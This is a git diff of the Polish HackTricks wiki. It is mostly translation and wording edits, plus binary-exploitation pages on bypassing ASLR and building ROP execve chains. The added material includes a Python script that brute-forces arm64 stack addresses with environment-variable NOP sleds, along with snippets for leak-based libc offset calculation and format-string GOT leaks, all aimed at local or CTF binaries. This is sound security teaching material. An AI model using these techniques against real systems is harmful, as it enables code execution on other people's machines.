diff --git a/.gitbook/assets/image (1202).png b/.gitbook/assets/image (1202).png
new file mode 100644
index 000000000..096c979f4
Binary files /dev/null and b/.gitbook/assets/image (1202).png differ
diff --git a/.gitbook/assets/image (1203).png b/.gitbook/assets/image (1203).png
new file mode 100644
index 000000000..857c75045
Binary files /dev/null and b/.gitbook/assets/image (1203).png differ
diff --git a/.gitbook/assets/image (1204).png b/.gitbook/assets/image (1204).png
new file mode 100644
index 000000000..db5113a11
Binary files /dev/null and b/.gitbook/assets/image (1204).png differ
diff --git a/.gitbook/assets/image (1205).png b/.gitbook/assets/image (1205).png
new file mode 100644
index 000000000..4fab5fc91
Binary files /dev/null and b/.gitbook/assets/image (1205).png differ
diff --git a/.gitbook/assets/image (1206).png b/.gitbook/assets/image (1206).png
new file mode 100644
index 000000000..acc265687
Binary files /dev/null and b/.gitbook/assets/image (1206).png differ
diff --git a/.gitbook/assets/image (1207).png b/.gitbook/assets/image (1207).png
new file mode 100644
index 000000000..50cc9d21a
Binary files /dev/null and b/.gitbook/assets/image (1207).png differ
diff --git a/.gitbook/assets/image (1208).png b/.gitbook/assets/image (1208).png
new file mode 100644
index 000000000..2b9922f39
Binary files /dev/null and b/.gitbook/assets/image (1208).png differ
diff --git a/.gitbook/assets/image (1209).png b/.gitbook/assets/image (1209).png
new file mode 100644
index 000000000..ef98334cf
Binary files /dev/null and b/.gitbook/assets/image (1209).png differ
diff --git a/.gitbook/assets/image (1210).png b/.gitbook/assets/image (1210).png
new file mode 100644
index 000000000..b076519e1
Binary files /dev/null and b/.gitbook/assets/image (1210).png differ
diff --git a/.gitbook/assets/image (1211).png b/.gitbook/assets/image (1211).png
new file mode 100644
index 000000000..40d15d70e
Binary files /dev/null and b/.gitbook/assets/image (1211).png differ
diff --git a/README.md b/README.md
index 38fa2b4ef..415b0685e 100644
--- a/README.md
+++ b/README.md
@@ -20,7 +20,7 @@ Aby zacząć, przejdź do tej strony, gdzie znajdziesz **typowy przepływ**, kt
-[**STM Cyber**](https://www.stmcyber.com) to doskonała firma zajmująca się cyberbezpieczeństwem, której hasłem jest **HACKUJ TO, CO NIEMOŻLIWE**. Przeprowadzają własne badania i rozwijają własne narzędzia do **oferowania kilku wartościowych usług z zakresu cyberbezpieczeństwa**, takich jak testowanie penetracyjne, zespoły Red oraz szkolenia.
+[**STM Cyber**](https://www.stmcyber.com) to świetna firma zajmująca się cyberbezpieczeństwem, której hasłem jest **HACKUJ TO, CO NIEMOŻLIWE**. Przeprowadzają własne badania i rozwijają własne narzędzia do **oferowania kilku wartościowych usług z zakresu cyberbezpieczeństwa**, takich jak testowanie penetracyjne, zespoły Red oraz szkolenia.
Możesz sprawdzić ich **blog** na [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
@@ -32,7 +32,7 @@ Możesz sprawdzić ich **blog** na [**https://blog.stmcyber.com**](https://blog.
-[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając **misję promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
+[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając na celu promowanie wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
{% embed url="https://www.rootedcon.com/" %}
@@ -69,8 +69,8 @@ Zdobądź dostęp już dziś:
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami bug bounty!
-* **Wgląd w Hacking:** Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania hakerstwa
-* **Aktualności z Hackingu na Żywo:** Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnościom i wglądom w czasie rzeczywistym
+* **Wgląd w Hacking:** Zaangażuj się w treści dotyczące emocji i wyzwań związanych z hakingiem
+* **Aktualności z Hackingu na Żywo:** Bądź na bieżąco z szybkim tempem świata hakingu dzięki aktualnościom i wglądom w czasie rzeczywistym
* **Najnowsze Ogłoszenia:** Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
@@ -81,7 +81,7 @@ Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbm
-**Natychmiastowa dostępność konfiguracji do oceny podatności i testów penetracyjnych**. Uruchom pełny test penetracyjny z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują rozpoznanie i raportowanie. Nie zastępujemy testerów penetracyjnych - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się głębiej, przejęcie kontroli i dobrą zabawę.
+**Natychmiastowa dostępność konfiguracji do oceny podatności i testów penetracyjnych**. Uruchom pełny test penetracyjny z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują rozpoznanie i raportowanie. Nie zastępujemy testerów penetracyjnych - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębianie się głębiej, przejmowanie powłok i dobrą zabawę.
{% embed url="https://pentest-tools.com/" %}
@@ -93,8 +93,8 @@ Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbm
SerpApi oferuje szybkie i łatwe interfejsy API w czasie rzeczywistym do **dostępu do wyników wyszukiwania w wyszukiwarkach**. Scrapują one wyszukiwarki, obsługują proxy, rozwiązują captchy i analizują wszystkie bogate dane strukturalne za Ciebie.
-Subskrypcja jednego z planów SerpApi obejmuje dostęp do ponad 50 różnych interfejsów API do scrapowania różnych wyszukiwarek, w tym Google, Bing, Baidu, Yahoo, Yandex i innych.\
-W przeciwieństwie do innych dostawców, **SerpApi nie ogranicza się tylko do scrapowania wyników organicznych**. Odpowiedzi SerpApi zawsze zawierają wszystkie reklamy, obrazy i filmy w linii, grafiki wiedzy oraz inne elementy i funkcje obecne w wynikach wyszukiwania.
+Subskrypcja jednego z planów SerpApi obejmuje dostęp do ponad 50 różnych interfejsów API do scrapowania różnych wyszukiwarek, w tym Google, Bing, Baidu, Yahoo, Yandex i inne.\
+W przeciwieństwie do innych dostawców, **SerpApi nie ogranicza się tylko do scrapowania wyników organicznych**. Odpowiedzi SerpApi zawsze zawierają wszystkie reklamy, obrazy i filmy wstawione, grafiki wiedzy oraz inne elementy i funkcje obecne w wynikach wyszukiwania.
Aktualni klienci SerpApi to **Apple, Shopify i GrubHub**.\
Aby uzyskać więcej informacji, sprawdź ich [**blog**](https://serpapi.com/blog/)**,** lub wypróbuj przykład w ich [**placu zabaw**](https://serpapi.com/playground)**.**\
@@ -112,17 +112,17 @@ Możesz **założyć darmowe konto** [**tutaj**](https://serpapi.com/users/sign\
### [WebSec](https://websec.nl/)
-
+
[**WebSec**](https://websec.nl) to profesjonalna firma cyberbezpieczeństwa z siedzibą w **Amsterdamie**, która pomaga **chronić** przedsiębiorstwa **na całym świecie** przed najnowszymi zagrożeniami cyberbezpieczeństwa, świadcząc usługi **bezpieczeństwa ofensywnego** w nowoczesny sposób.
-WebSec to firma **wszystko w jednym z zakresu bezpieczeństwa**, co oznacza, że robią wszystko; Testowanie penetracyjne, Audyty bezpieczeństwa, Szkolenia z świadomości, Kampanie phishingowe, Przeglądy kodu, Rozwój exploitów, Outsourcing ekspertów ds. bezpieczeństwa i wiele więcej.
+WebSec to firma **wszystko w jednym**, co oznacza, że robią wszystko; Testowanie penetracyjne, Audyty bezpieczeństwa, Szkolenia z świadomości, Kampanie phishingowe, Przeglądy kodu, Rozwój exploitów, Outsourcing ekspertów ds. bezpieczeństwa i wiele więcej.
-Inną fajną rzeczą dotyczącą WebSec jest to, że w przeciwieństwie do średniej branżowej, WebSec jest **bardzo pewny swoich umiejętności**, do tego stopnia, że gwarantuje najlepsze jakościowe wyniki, jak to stwierdza na ich stronie "**Jeśli nie możemy tego zhakować, nie płacisz za to!**". Aby uzyskać więcej informacji, zajrzyj na ich [**stronę internetową**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)!
+Inną fajną rzeczą dotyczącą WebSec jest to, że w przeciwieństwie do średniej branżowej, WebSec jest **bardzo pewny swoich umiejętności**, do tego stopnia, że gwarantuje najlepsze jakościowe wyniki, jak to stwierdzają na swojej stronie "**Jeśli nie możemy tego zhakować, nie płacisz za to!**". Aby uzyskać więcej informacji, zajrzyj na ich [**stronę internetową**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)!
-Oprócz powyższego, WebSec jest również **zaangażowanym zwolennikiem HackTricks.**
+Oprócz powyższego WebSec jest również **zaangażowanym zwolennikiem HackTricks.**
-
+{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
## Licencja i Oświadczenie
Sprawdź je tutaj:
@@ -141,6 +141,6 @@ Inne sposoby wsparcia HackTricks:
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/SUMMARY.md b/SUMMARY.md
index 01dcc5ad9..e58b0cf34 100644
--- a/SUMMARY.md
+++ b/SUMMARY.md
@@ -689,10 +689,12 @@
* [Exploiting Tools](binary-exploitation/basic-binary-exploitation-methodology/tools/README.md)
* [PwnTools](binary-exploitation/basic-binary-exploitation-methodology/tools/pwntools.md)
* [Stack Overflow](binary-exploitation/stack-overflow/README.md)
- * [Stack Shellcode](binary-exploitation/stack-overflow/stack-shellcode.md)
- * [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
* [Pointer Redirecting](binary-exploitation/stack-overflow/pointer-redirecting.md)
- * [Ret2win](binary-exploitation/stack-overflow/ret2win.md)
+ * [Ret2win](binary-exploitation/stack-overflow/ret2win/README.md)
+ * [Ret2win - arm64](binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md)
+ * [Stack Shellcode](binary-exploitation/stack-overflow/stack-shellcode/README.md)
+ * [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
+ * [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
* [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
* [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
* [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
diff --git a/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md b/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md
index b5f5ac0a7..208c9d26e 100644
--- a/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md
+++ b/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md
@@ -6,8 +6,8 @@
Inne sposoby wsparcia HackTricks:
-* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
-* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
+* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
## Podstawowe informacje
-**Randomizacja układu przestrzeni adresowej (ASLR)** to technika bezpieczeństwa stosowana w systemach operacyjnych do **losowego rozmieszczania adresów pamięci** używanych przez procesy systemowe i aplikacje. Dzięki temu znacznie utrudnia się przewidywanie lokalizacji konkretnych procesów i danych przez atakującego, takich jak stos, sterta i biblioteki, co zmniejsza ryzyko pewnych rodzajów ataków, zwłaszcza przepełnień bufora.
+**Randomizacja układu przestrzeni adresowej (ASLR)** to technika bezpieczeństwa stosowana w systemach operacyjnych do **losowego przemieszczania adresów pamięci** używanych przez procesy systemowe i aplikacje. Dzięki temu znacznie trudniej dla atakującego przewidzieć lokalizację konkretnych procesów i danych, takich jak stos, sterta i biblioteki, co zmniejsza ryzyko pewnych rodzajów ataków, zwłaszcza przepełnień bufora.
### **Sprawdzanie stanu ASLR**
@@ -43,19 +43,19 @@ setarch `uname -m` -R ./bin args
```
### **Włączanie ASLR**
-Aby **włączyć** ASLR, można zapisać wartość **2** do pliku `/proc/sys/kernel/randomize_va_space`. Zazwyczaj wymaga to uprawnień roota. Pełna losowość może być osiągnięta za pomocą następującej komendy:
+Aby **włączyć** ASLR, można zapisać wartość **2** do pliku `/proc/sys/kernel/randomize_va_space`. Zazwyczaj wymaga to uprawnień roota. Pełna losowość może być włączona za pomocą następującej komendy:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Trwałość po ponownym uruchomieniu**
-Zmiany dokonane za pomocą poleceń `echo` są tymczasowe i zostaną zresetowane po ponownym uruchomieniu. Aby uczynić zmianę trwałą, należy edytować plik `/etc/sysctl.conf` i dodać lub zmodyfikować następującą linijkę:
+Zmiany dokonane za pomocą poleceń `echo` są tymczasowe i zostaną zresetowane po ponownym uruchomieniu. Aby sprawić, że zmiana będzie trwała, musisz edytować plik `/etc/sysctl.conf` i dodać lub zmodyfikować następującą linię:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
-Po edycji pliku `/etc/sysctl.conf` zastosuj zmiany za pomocą:
+Po edycji `/etc/sysctl.conf` zastosuj zmiany za pomocą:
```bash
sudo sysctl -p
```
@@ -69,9 +69,9 @@ PaX dzieli przestrzeń adresową procesu na **3 grupy**:
* **Kod i dane** (zainicjowane i niezainicjowane): `.text`, `.data` i `.bss` —> **16 bitów** entropii w zmiennej `delta_exec`. Ta zmienna jest losowo inicjowana przy każdym procesie i dodawana do adresów początkowych.
* **Pamięć** przydzielana przez `mmap()` i **biblioteki współdzielone** —> **16 bitów**, nazwana `delta_mmap`.
-* **Stos** —> **24 bity**, oznaczane jako `delta_stack`. Jednakże, efektywnie używa **11 bitów** (od 10. do 20. bajtu włącznie), wyrównanych do **16 bajtów** —> To daje **524,288 możliwych rzeczywistych adresów stosu**.
+* **Stos** —> **24 bity**, oznaczane jako `delta_stack`. Jednak faktycznie używa **11 bitów** (od 10. do 20. bajtu włącznie), wyrównanych do **16 bajtów** —> To daje **524,288 możliwych rzeczywistych adresów stosu**.
-Powyzsze dane dotyczą systemów 32-bitowych, a zmniejszona końcowa entropia pozwala na obejście ASLR poprzez wielokrotne próby wykonania, aż atak się powiedzie.
+Powyższe dane dotyczą systemów 32-bitowych, a zmniejszona ostateczna entropia umożliwia obejście ASLR poprzez wielokrotne ponowne uruchamianie wykonania, aż atak się powiedzie.
#### Pomysły na brutalne narzucanie:
@@ -81,24 +81,93 @@ Powyzsze dane dotyczą systemów 32-bitowych, a zmniejszona końcowa entropia po
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
-* Jeśli atakujesz zdalny serwer, możesz spróbować **przemocować adres funkcji `libc` `usleep`**, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie **serwer potrzebuje dodatkowych 10 sekund na odpowiedź**, znalazłeś adres tej funkcji.
+* Jeśli atakujesz zdalny serwer, możesz spróbować **przemęczyć adres funkcji `usleep` z biblioteki `libc`**, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie **serwer potrzebuje dodatkowych 10 sekund na odpowiedź**, znalazłeś adres tej funkcji.
{% hint style="success" %}
-W systemach 64-bitowych entropia jest znacznie wyższa i to nie jest możliwe.
+W systemach 64-bitowych entropia jest znacznie wyższa i to nie powinno być możliwe.
{% endhint %}
+### Przemęczanie stosu 64 bitów
+
+Możliwe jest zajęcie dużej części stosu zmiennymi środowiskowymi, a następnie próba wykorzystania błędu w binarnym pliku programu setki/tysiące razy lokalnie, aby go zhakować.\
+Poniższy kod pokazuje, jak można **wybrać adres na stosie** i co **kilka setek wykonania** ten adres będzie zawierał instrukcję **NOP**:
+```c
+//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
+#include
+
+int main() {
+unsigned long long address = 0xffffff1e7e38;
+unsigned int* ptr = (unsigned int*)address;
+unsigned int value = *ptr;
+printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
+return 0;
+}
+```
+
+```python
+import subprocess
+import traceback
+
+# Start the process
+nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
+n_nops = int(128000/4)
+shellcode_env_var = nop * n_nops
+
+# Define the environment variables you want to set
+env_vars = {
+'a': shellcode_env_var,
+'b': shellcode_env_var,
+'c': shellcode_env_var,
+'d': shellcode_env_var,
+'e': shellcode_env_var,
+'f': shellcode_env_var,
+'g': shellcode_env_var,
+'h': shellcode_env_var,
+'i': shellcode_env_var,
+'j': shellcode_env_var,
+'k': shellcode_env_var,
+'l': shellcode_env_var,
+'m': shellcode_env_var,
+'n': shellcode_env_var,
+'o': shellcode_env_var,
+'p': shellcode_env_var,
+}
+
+cont = 0
+while True:
+cont += 1
+
+if cont % 10000 == 0:
+break
+
+print(cont, end="\r")
+# Define the path to your binary
+binary_path = './aslr-testing'
+
+try:
+process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
+output = process.communicate()[0]
+if "0xd5" in str(output):
+print(str(cont) + " -> " + output)
+except Exception as e:
+print(e)
+print(traceback.format_exc())
+pass
+```
+
+
### Lokalne informacje (`/proc/[pid]/stat`)
-Plik **`/proc/[pid]/stat`** procesu jest zawsze czytelny dla wszystkich i **zawiera interesujące** informacje, takie jak:
+Plik **`/proc/[pid]/stat`** procesu jest zawsze czytelny dla wszystkich i **zawiera interesujące** informacje takie jak:
-* **startcode** & **endcode**: Adresy powyżej i poniżej z **TEKSTU** binarnego
-* **startstack**: Adres początku **stosu**
-* **start\_data** & **end\_data**: Adresy powyżej i poniżej, gdzie znajduje się **BSS**
-* **kstkesp** & **kstkeip**: Aktualne adresy **ESP** i **EIP**
-* **arg\_start** & **arg\_end**: Adresy powyżej i poniżej, gdzie znajdują się **argumenty wiersza poleceń**
-* **env\_start** & **env\_end**: Adresy powyżej i poniżej, gdzie znajdują się **zmienne środowiskowe**
+- **startcode** & **endcode**: Adresy powyżej i poniżej z **TEKSTU** binarnego
+- **startstack**: Adres początku **stosu**
+- **start\_data** & **end\_data**: Adresy powyżej i poniżej, gdzie znajduje się **BSS**
+- **kstkesp** & **kstkeip**: Aktualne adresy **ESP** i **EIP**
+- **arg\_start** & **arg\_end**: Adresy powyżej i poniżej, gdzie znajdują się **argumenty wiersza poleceń**
+- **env\_start** & **env\_end**: Adresy powyżej i poniżej, gdzie znajdują się **zmienne środowiskowe**
-Dlatego jeśli atakujący znajduje się w tym samym komputerze co eksploatowany binarny plik i ten binarny plik nie oczekuje przepełnienia z surowych argumentów, ale z innego **wejścia, które można stworzyć po odczytaniu tego pliku**. Dla atakującego jest możliwe **uzyskanie niektórych adresów z tego pliku i skonstruowanie przesunięć z nich dla eksploatacji**.
+Dlatego jeśli atakujący znajduje się w tym samym komputerze co binarny plik podatny na atak i ten binarny plik nie oczekuje przepełnienia z surowych argumentów, ale z innego **wejścia, które można stworzyć po odczytaniu tego pliku**. Dla atakującego jest możliwe **uzyskanie pewnych adresów z tego pliku i skonstruowanie przesunięć z nich dla eksploatacji**.
{% hint style="success" %}
Aby uzyskać więcej informacji na temat tego pliku, sprawdź [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) szukając `/proc/pid/stat`
@@ -106,9 +175,9 @@ Aby uzyskać więcej informacji na temat tego pliku, sprawdź [https://man7.org/
### Posiadanie wycieku
-* **Wyzwaniem jest dostarczenie wycieku**
+- **Wyzwaniem jest dostarczenie wycieku**
-Jeśli otrzymasz wyciek (łatwe wyzwania CTF), możesz obliczyć przesunięcia z niego (przyjmując na przykład, że znasz dokładną wersję `libc`, która jest używana w systemie, który eksploatujesz). Ten przykładowy exploit jest wyodrębniony z [**przykładu stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (sprawdź tę stronę po więcej szczegółów):
+Jeśli otrzymasz wyciek (łatwe wyzwania CTF), możesz obliczyć przesunięcia z niego (przyjmując na przykład, że znasz dokładną wersję biblioteki libc używaną w systemie, który jest wykorzystywany). Ten przykładowy exploit jest wyodrębniony z [**przykładu stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (sprawdź tę stronę dla więcej szczegółów):
```python
from pwn import *
@@ -143,7 +212,7 @@ Wykorzystując przepełnienie bufora, można wykorzystać **ret2plt** do wycieku
* **Format Strings Arbitrary Read**
-Podobnie jak w przypadku ret2plt, jeśli masz arbitralne odczytywanie za pomocą podatności na ciągi formatujące, możliwe jest wyciekanie adresu funkcji z **biblioteki libc** z GOT. Poniższy [**przykład pochodzi stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
+Podobnie jak w przypadku ret2plt, jeśli masz arbitralne odczytywanie za pomocą podatności na ciągi formatujące, można wyciec adres funkcji z **biblioteki libc** z GOT. Poniższy [**przykład pochodzi stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
@@ -170,8 +239,8 @@ Spróbuj ominąć ASLR nadużywając adresów znajdujących się na stosie:
### vsyscall
-Mechanizm **`vsyscall`** służy do poprawy wydajności, pozwalając na wykonanie określonych wywołań systemowych w przestrzeni użytkownika, chociaż są one zasadniczo częścią jądra. Krytyczną zaletą **vsyscalls** jest ich **stały adres**, który nie podlega **ASLR** (losowaniu układu przestrzeni adresowej). Ta stała natura oznacza, że atakujący nie potrzebują podatności na wyciek informacji, aby określić ich adresy i wykorzystać je w ataku.\
-Jednakże nie znajdziesz tu super interesujących gadżetów (choć na przykład możliwe jest uzyskanie odpowiednika `ret;`)
+Mechanizm **`vsyscall`** służy do poprawy wydajności, pozwalając na wykonanie określonych wywołań systemowych w przestrzeni użytkownika, chociaż zasadniczo są one częścią jądra. Krytyczną zaletą **vsyscalls** jest ich **stały adres**, który nie podlega **ASLR** (losowaniu układu przestrzeni adresowej). Ta stała natura oznacza, że atakujący nie potrzebują podatności na wyciek informacji, aby określić ich adresy i wykorzystać je w ataku.\
+Jednakże tutaj nie znajdziesz zbyt interesujących gadżetów (choć na przykład możliwe jest uzyskanie odpowiednika `ret;`)
(Poniższy przykład i kod pochodzi [**z tego opisu**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
@@ -218,14 +287,14 @@ gef➤ x/4i 0xffffffffff600800
```
-Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
+Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
-* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
+* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
diff --git a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md
index f5ef1af10..864fbca0a 100644
--- a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md
+++ b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md
@@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
## Podstawowe informacje
-To jest podobne do Ret2lib, jednak w tym przypadku nie będziemy wywoływać funkcji z biblioteki. W tym przypadku wszystko będzie przygotowane do wywołania syscalla `sys_execve` z pewnymi argumentami w celu wykonania `/bin/sh`. Ta technika zazwyczaj jest wykonywana na binariach skompilowanych statycznie, więc może być wiele gadżetów i instrukcji syscall.
+To jest podobne do Ret2lib, jednak w tym przypadku nie będziemy wywoływać funkcji z biblioteki. W tym przypadku wszystko będzie przygotowane do wywołania syscalla `sys_execve` z pewnymi argumentami w celu wykonania `/bin/sh`. Ta technika zazwyczaj jest wykonywana na binariach skompilowanych statycznie, więc może być wiele gadżetów i instrukcji syscalla.
Aby przygotować wywołanie **syscalla**, potrzebna jest następująca konfiguracja:
@@ -28,7 +28,7 @@ Aby przygotować wywołanie **syscalla**, potrzebna jest następująca konfigura
Więc w zasadzie trzeba zapisać ciąg znaków `/bin/sh` gdzieś, a następnie wykonać `syscall` (będąc świadomym wymaganego wypełnienia do kontrolowania stosu). W tym celu potrzebujemy gadżetu do zapisania `/bin/sh` w znanym obszarze.
{% hint style="success" %}
-Innym interesującym syscall'em do wywołania jest **`mprotect`**, który pozwoliłby atakującemu **zmodyfikować uprawnienia strony w pamięci**. Może to być połączone z [**ret2shellcode**](../stack-overflow/stack-shellcode.md).
+Innym interesującym syscall'em do wywołania jest **`mprotect`**, który pozwoliłby atakującemu **zmodyfikować uprawnienia strony w pamięci**. Może to być połączone z [**ret2shellcode**](../stack-overflow/stack-shellcode/).
{% endhint %}
## Gadżety rejestrów
@@ -183,8 +183,8 @@ target.interactive()
## Inne Przykłady i Odnośniki
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
-* 64 bity, brak PIE, nx, zapisz w pewnej pamięci ROP do wywołania `execve` i skocz tam.
+* 64 bity, brak PIE, nx, zapisz w pamięci ROP do wywołania `execve` i skocz tam.
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
-* 64 bity, nx, brak PIE, zapisz w pewnej pamięci ROP do wywołania `execve` i skocz tam. Aby zapisać na stosie funkcję wykonującą operacje matematyczne, jest nadużywane.
+* 64 bity, nx, brak PIE, zapisz w pamięci ROP do wywołania `execve` i skocz tam. Aby zapisać na stosie funkcję wykonującą operacje matematyczne, jest nadużywane.
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
-* 64 bity, brak PIE, nx, BF canary, zapisz w pewnej pamięci ROP do wywołania `execve` i skocz tam.
+* 64 bity, brak PIE, nx, BF canary, zapisz w pamięci ROP do wywołania `execve` i skocz tam.
diff --git a/binary-exploitation/stack-overflow/README.md b/binary-exploitation/stack-overflow/README.md
index 970cdd52c..5a3eaf98f 100644
--- a/binary-exploitation/stack-overflow/README.md
+++ b/binary-exploitation/stack-overflow/README.md
@@ -10,19 +10,19 @@ Inne sposoby wsparcia HackTricks:
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
